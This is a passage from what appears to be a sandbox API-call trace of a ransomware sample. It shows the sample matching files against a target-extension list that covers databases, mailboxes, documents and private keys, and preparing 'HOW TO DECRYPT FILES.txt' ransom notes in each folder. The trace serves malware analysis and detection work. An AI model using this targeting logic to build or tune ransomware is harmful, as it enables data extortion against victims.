pszSpec="*.ems") returned 0 [0137.348] lstrlenA (lpString="*.ems") returned 5 [0137.348] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.db") returned 0 [0137.349] lstrlenA (lpString="*.db") returned 4 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.dbf") returned 0 [0137.349] lstrlenA (lpString="*.dbf") returned 5 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.myox") returned 0 [0137.349] lstrlenA (lpString="*.myox") returned 6 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.myo") returned 0 [0137.349] lstrlenA (lpString="*.myo") returned 5 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.qbw") returned 0 [0137.349] lstrlenA (lpString="*.qbw") returned 5 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.qbb") returned 0 [0137.349] lstrlenA (lpString="*.qbb") returned 5 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.qbm") returned 0 [0137.349] lstrlenA (lpString="*.qbm") returned 5 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.qbo") returned 0 [0137.349] lstrlenA (lpString="*.qbo") returned 5 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.qbx") returned 0 [0137.349] lstrlenA (lpString="*.qbx") returned 5 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.qba") returned 0 [0137.349] lstrlenA (lpString="*.qba") returned 5 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.qby") returned 0 [0137.349] lstrlenA (lpString="*.qby") returned 5 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.qbj") returned 0 [0137.349] lstrlenA (lpString="*.qbj") returned 5 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.ofx") returned 0 [0137.349] lstrlenA (lpString="*.ofx") returned 5 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.qif") returned 0 [0137.349] lstrlenA (lpString="*.qif") returned 5 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.mye") returned 0 [0137.349] lstrlenA (lpString="*.mye") returned 5 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.mbox") returned 0 [0137.349] lstrlenA (lpString="*.mbox") returned 6 [0137.349] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.eml") returned 0 [0137.350] lstrlenA (lpString="*.eml") returned 5 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.pst") returned 0 [0137.350] lstrlenA (lpString="*.pst") returned 5 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.ost") returned 0 [0137.350] lstrlenA (lpString="*.ost") returned 5 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.idx") returned 0 [0137.350] lstrlenA (lpString="*.idx") returned 5 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.dbx") returned 0 [0137.350] lstrlenA (lpString="*.dbx") returned 5 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.sql") returned 0 [0137.350] lstrlenA (lpString="*.sql") returned 5 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.mdb") returned 0 [0137.350] lstrlenA (lpString="*.mdb") returned 5 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.fdb") returned 0 [0137.350] lstrlenA (lpString="*.fdb") returned 5 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.wab") returned 0 [0137.350] lstrlenA (lpString="*.wab") returned 5 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.dat") returned 0 [0137.350] lstrlenA (lpString="*.dat") returned 5 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.txt") returned 0 [0137.350] lstrlenA (lpString="*.txt") returned 5 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.jpeg") returned 0 [0137.350] lstrlenA (lpString="*.jpeg") returned 6 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.jpg") returned 0 [0137.350] lstrlenA (lpString="*.jpg") returned 5 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.png") returned 0 [0137.350] lstrlenA (lpString="*.png") returned 5 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.php") returned 0 [0137.350] lstrlenA (lpString="*.php") returned 5 [0137.350] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.cs") returned 0 [0137.351] lstrlenA (lpString="*.cs") returned 4 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.cpp") returned 0 [0137.351] lstrlenA (lpString="*.cpp") returned 5 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.rar") returned 0 [0137.351] lstrlenA (lpString="*.rar") returned 5 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.zip") returned 0 [0137.351] lstrlenA (lpString="*.zip") returned 5 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.html") returned 0 [0137.351] lstrlenA (lpString="*.html") returned 6 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.htm") returned 0 [0137.351] lstrlenA (lpString="*.htm") returned 5 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.xlsx") returned 0 [0137.351] lstrlenA (lpString="*.xlsx") returned 6 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.xls") returned 0 [0137.351] lstrlenA (lpString="*.xls") returned 5 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.mp4") returned 0 [0137.351] lstrlenA (lpString="*.mp4") returned 5 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.ppt") returned 0 [0137.351] lstrlenA (lpString="*.ppt") returned 5 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.pptx") returned 0 [0137.351] lstrlenA (lpString="*.pptx") returned 6 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.doc") returned 0 [0137.351] lstrlenA (lpString="*.doc") returned 5 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.dot") returned 0 [0137.351] lstrlenA (lpString="*.dot") returned 5 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.docx") returned 0 [0137.351] lstrlenA (lpString="*.docx") returned 6 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.7z") returned 0 [0137.351] lstrlenA (lpString="*.7z") returned 4 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.tar") returned 0 [0137.351] lstrlenA (lpString="*.tar") returned 5 [0137.351] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.bz2") returned 0 [0137.352] lstrlenA (lpString="*.bz2") returned 5 [0137.352] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.gz") returned 0 [0137.352] lstrlenA (lpString="*.gz") returned 4 [0137.352] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.mkv") returned 0 [0137.352] lstrlenA (lpString="*.mkv") returned 5 [0137.352] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.eml") returned 0 [0137.352] lstrlenA (lpString="*.eml") returned 5 [0137.352] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.msg") returned 0 [0137.352] lstrlenA (lpString="*.msg") returned 5 [0137.352] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.edb") returned 0 [0137.352] lstrlenA (lpString="*.edb") returned 5 [0137.352] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.accdb") returned 0 [0137.352] lstrlenA (lpString="*.accdb") returned 7 [0137.352] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.odb") returned 0 [0137.352] lstrlenA (lpString="*.odb") returned 5 [0137.352] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.java") returned 0 [0137.352] lstrlenA (lpString="*.java") returned 6 [0137.352] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.asm") returned 0 [0137.352] lstrlenA (lpString="*.asm") returned 5 [0137.352] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.pfx") returned 0 [0137.352] lstrlenA (lpString="*.pfx") returned 5 [0137.352] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.pem") returned 0 [0137.352] lstrlenA (lpString="*.pem") returned 5 [0137.352] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.p12") returned 0 [0137.352] lstrlenA (lpString="*.p12") returned 5 [0137.352] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.gpg") returned 0 [0137.352] lstrlenA (lpString="*.gpg") returned 5 [0137.352] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", pszSpec="*.vsd") returned 0 [0137.352] lstrlenA (lpString="*.vsd") returned 5 [0137.353] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2943, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="WebAdminHelp_Security.aspx", cAlternateFileName="WEDD42~1.ASP")) returned 1 [0137.353] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.353] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx") returned="WebAdminHelp_Provider.aspx" [0137.353] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.353] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.353] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" [0137.353] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\how to decrypt files.txt")) returned 0x20 [0137.353] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="WebAdminHelp_Security.aspx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Security.aspx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Security.aspx" [0137.353] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="webAdminNoButtonRow.master", cAlternateFileName="WEBADM~3.MAS")) returned 1 [0137.354] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.354] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Security.aspx") returned="WebAdminHelp_Security.aspx" [0137.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.354] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.354] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" [0137.354] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\how to decrypt files.txt")) returned 0x20 [0137.354] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="webAdminNoButtonRow.master" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\webAdminNoButtonRow.master") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\webAdminNoButtonRow.master" [0137.354] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x13, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="webAdminNoNavBar.master", cAlternateFileName="WEBADM~4.MAS")) returned 1 [0137.354] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.354] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\webAdminNoButtonRow.master") returned="webAdminNoButtonRow.master" [0137.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.354] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.354] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" [0137.354] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\how to decrypt files.txt")) returned 0x20 [0137.354] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="webAdminNoNavBar.master" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\webAdminNoNavBar.master") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\webAdminNoNavBar.master" [0137.355] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2ff4c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x343b, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="WebAdminStyles.css", cAlternateFileName="WEBADM~1.CSS")) returned 1 [0137.355] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.355] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\webAdminNoNavBar.master") returned="webAdminNoNavBar.master" [0137.355] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.355] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.355] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" [0137.355] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\how to decrypt files.txt")) returned 0x20 [0137.355] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="WebAdminStyles.css" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminStyles.css") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminStyles.css" [0137.355] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2ff4c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xf16, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="WebAdminWithConfirmation.master", cAlternateFileName="WE7DBA~1.MAS")) returned 1 [0137.355] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.356] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminStyles.css") returned="WebAdminStyles.css" [0137.356] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.356] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.356] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", 